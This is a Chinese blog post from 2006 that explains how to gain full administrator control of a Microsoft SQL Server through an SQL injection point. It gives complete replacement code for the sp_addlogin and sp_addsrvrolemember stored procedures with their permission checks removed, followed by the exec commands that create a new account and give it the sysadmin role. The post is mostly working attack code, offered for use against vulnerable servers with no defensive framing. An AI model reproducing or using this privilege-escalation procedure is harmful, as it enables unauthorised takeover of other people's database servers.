文逸首页 小文论坛 文逸博客 精华文章
 首页 | 新闻 | 论坛 | 博客 | 专题 | FTP | 金融 | 微博 | 图库 | MyHome | 搜索 | 登陆 | 注册 | 帮助 | 设为首页  ·在线人数: 4162
 §您的位置:文逸首页 > easyshow 's home > 【教育学习】专栏 > msSQL注入.
easyshow 的主页网址:http://wonyen.net/home.aspx?id=easyshow 给我留言

 § easyshow  的【教育学习】专栏

  作者:easyshow  发表时间: 2006/3/18 20:36:02    查看: 6777     评论: 2
标题: msSQL注入通杀 只要有注入点就有系统权限

http://speed.westsafe.net/itnews/web/200617112130965.html

不知道大家看过这篇文章没有,可以在db_owner角色下添加SYSADMIN帐号,这招真狠啊,存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin  
  @loginame sysname  
  ,@passwd       sysname = Null  
  ,@defdb       ; ; sysname = ’master’     -- UNDONE: DEFAULT  
CONFIGURABLE???  
  ,@deflanguage   sysname = Null  
  ,@sid   varbinary(16) = Null  
  ,@encryptopt varchar(20) = Null  
AS  
  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --  
set nocount on  
Declare @ret   int   -- return value of sp call  
   
  -- DISALLOW USER TRANSACTION --  
set implicit_transactions off  
IF (@@trancount 〉 0)  
begin  
raiserror(15002,-1,-1,’sp_addlogin’)  
return (1)  
end  
  -- VALIDATE LOGIN NAME AS:  
  -- (1) Valid SQL Name (SQL LOGIN)  
  -- (2) No backslash (NT users only)  
  -- (3) Not a reserved login name  
execute @ret = sp_validname @loginame  
if (@ret 〈〉 0)  
    return (1)  
  if (charindex(’\’, @loginame) 〉 0)  
  begin  
    raiserror(15006,-1,-1,@loginame)  
    return (1)  
  end  
--Note: different case sa is allowed.  
if (@loginame = ’sa’ or lower(@loginame) in (’public’))  
begin  
raiserror(15405, -1 ,-1, @loginame)  
return (1)  
end  
  -- LOGIN NAME MUST NOT ALREADY EXIST --  
if exists(select * from master.dbo.syslogins where loginname =  
@loginame)  
begin  
raiserror(15025,-1,-1,@loginame)  
return (1)  
end  
-- VALIDATE DEFAULT DATABASE --  
IF db_id(@defdb) IS NULL  
begin  
raiserror(15010,-1,-1,@defdb)  
  return (1)  
end  
-- VALIDATE DEFAULT LANGUAGE --  
IF (@deflanguage IS NOT Null)  
begin  
Execute @ret = sp_validlang @deflanguage  
IF (@ret 〈〉 0)  
  return (1)  
end  
ELSE  
begin  
select @deflanguage = name from master.dbo.syslanguages  
where langid = @@default_langid --server default  
language  
if @deflanguage is null  
  select @deflanguage = N’us_english’  
end  
-- VALIDATE SID IF GIVEN --  
if ((@sid IS NOT Null) and (datalength(@sid) 〈〉 16))  
begin  
raiserror(15419,-1,-1)  
  return (1)  
end  
else if @sid is null  
select @sid = newid()  
if (suser_sname(@sid) IS NOT Null)  
begin  
raiserror(15433,-1,-1)  
  return (1)  
end  
-- VALIDATE AND USE ENCRYPTION OPTION --  
declare @xstatus smallint  
select @xstatus = 2 -- access  
if @encryptopt is null  
select @passwd = pwdencrypt(@passwd)  
else if @encryptopt = ’skip_encryption_old’  
begin  
select @xstatus = @xstatus | 0x800, -- old-style  
encryption  
  @passwd = convert(sysname, convert(varbinary  
(30), convert(varchar(30), @passwd)))  
end  
else if @encryptopt 〈〉 ’skip_encryption’  
begin  
raiserror(15600,-1,-1,’sp_addlogin’)  
return 1  
end  
  -- ATTEMPT THE INSERT OF THE NEW LOGIN --  
INSERT INTO master.dbo.sysxlogins VALUES  
    (NULL, @sid, @xstatus, getdate(),  
        getdate(), @loginame, convert(varbinary(256), @passwd),  
        db_id(@defdb), @deflanguage)  
if @@error 〈〉 0 -- this indicates we saw duplicate row  
    return (1)  
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE  
SYSLOGINS CHANGE --  
exec(’use master grant all to null’)  
  -- FINALIZATION: RETURN SUCCESS/FAILURE --  
raiserror(15298,-1,-1)  
return (0) -- sp_addlogin  
GO  
OK,我们新建个用户exec master..sp_addlogin xwq  

再drop procedure sp_addsrvrolemember,然后在IE里输入  


create procedure sp_addsrvrolemember  
  @loginame sysname,   -- login name  
  @rolename sysname = NULL -- server role name  
as  
  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --  
set nocount on  
declare @ret     int,   -- return value of sp call  
        @rolebit   smallint,  
        @ismem     int  
  -- DISALLOW USER TRANSACTION --  
set implicit_transactions off  
IF (@@trancount 〉 0)  
begin  
raiserror(15002,-1,-1,’sp_addsrvrolemember’)  
return (1)  
end  
   
  -- CANNOT CHANGE SA ROLES --  
  if @loginame = ’sa’  
  begin  
    raiserror(15405, -1 ,-1, @loginame)  
    return (1)  
  end  
  -- OBTAIN THE BIT FOR THIS ROLE --  
  select @rolebit = CASE @rolename  
        WHEN ’sysadmin’       THEN 16  
        WHEN ’securityadmin’   THEN 32  
        WHEN ’serveradmin’     THEN 64  
        WHEN ’setupadmin’     THEN 128  
        WHEN ’processadmin’   THEN 256  
        WHEN ’diskadmin’     THEN 512  
        WHEN ’dbcreator’     THEN 1024  
  WHEN ’bulkadmin’ THEN 4096  
        ELSE NULL END  
  -- ADD ROW FOR NT LOGIN IF NEEDED --  
if not exists(select * from master.dbo.syslogins where  
loginname = @loginame)  
  begin  
    execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame  
    if (@ret 〈〉 0)  
  begin  
    raiserror(15007,-1,-1,@loginame)  
    return (1)  
  end  
  end  
  -- UPDATE ROLE MEMBERSHIP --  
  update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,  
xdate2 = getdate()  
  where name = @loginame and srvid IS NULL  
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE  
SYSLOGINS CHANGE --  
exec(’use master grant all to null’)  
raiserror(15488,-1,-1,@loginame,@rolename)  
  -- FINALIZATION: RETURN SUCCESS/FAILURE  
return (@@error) -- sp_addsrvrolemember  
GO  

接着再exec master..sp_addsrvrolemember xwq,sysadmin  
这样就建立了一个SA用户了,用SQL连接器连接上就OK了  
 

分享到:


 §评论: msSQL注入通杀 只要有注入点就有系统权限

0 条评论;  每页显示 15 条评论;   1 / 1               ↑到页首




您未登陆,发表评论时请填写:用户名 密码 注册新用户  
 评论: msSQL注入通杀 只要有注入点就有系统权限
内容 (8000字以内)
 (CTRL+ENTER提交) 
  关闭窗口  
用户登陆
我要发表文章
搜 索
§easyshow 的网志导航
感想随笔(2)
生活休闲(0)
饮食健康(0)
自然妙趣(0)
潮流时尚(0)
游览见闻(0)
情感绿洲(7)
娱乐搞笑(3)
读图时代(0)
影音视听(2)
商业新知(1)
理论研究(0)
时事纵横(0)
社会文化(0)
文学欣赏(0)
教育学习(27)
§easyshow 的友情链接
关于文逸 | 小文论坛 | 文逸博客 | 文逸金融 | 精华文章网站地图 | 联系我们 | 隐私保护
 Copyright© WWW.WONYEN.NET 2003 - 2021  闽ICP备09016518号-16   本站最高 10508 人同时在线,发生时间 2005-5-17 5:09:15 
 文逸科技 制作维护